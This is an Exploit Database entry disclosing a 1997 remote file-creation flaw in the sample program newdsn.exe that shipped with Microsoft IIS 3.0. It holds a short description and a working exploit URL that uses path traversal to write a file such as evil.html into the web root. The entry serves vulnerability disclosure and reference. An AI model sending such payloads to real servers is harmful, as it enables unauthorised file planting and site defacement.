Microsoft IIS 3.0 newdsn.exe File Creation Vulnerability

1997-08-25T00:00:00
ID EDB-ID:20309
Type exploitdb
Reporter Vytis Fedaravicius
Modified 1997-08-25T00:00:00

Description

Microsoft IIS 3.0 newdsn.exe File Creation Vulnerability. CVE-1999-0191. Remote exploit for windows platform

                                        
                                            source: http://www.securityfocus.com/bid/1818/info

Microsoft IIS 3.0 came with a sample program, newdsn.exe, installed by default in the directory wwwroot/scripts/tools/. Execution of this program with a properly submitted URL could allow for remote file creation. The file created is a Microsoft Access Database, but can have any extension, including .html.

http://vulnerable.site.comtools/newdsn.exe?driver=Microsoft%2BAccess%2BDriver%2B%28*.mdb%29&dsn=Evil+samples+from+microsoft&dbq=..%2F..%2Fwwwroot%2Fevil.html&newdb=CREATE_DB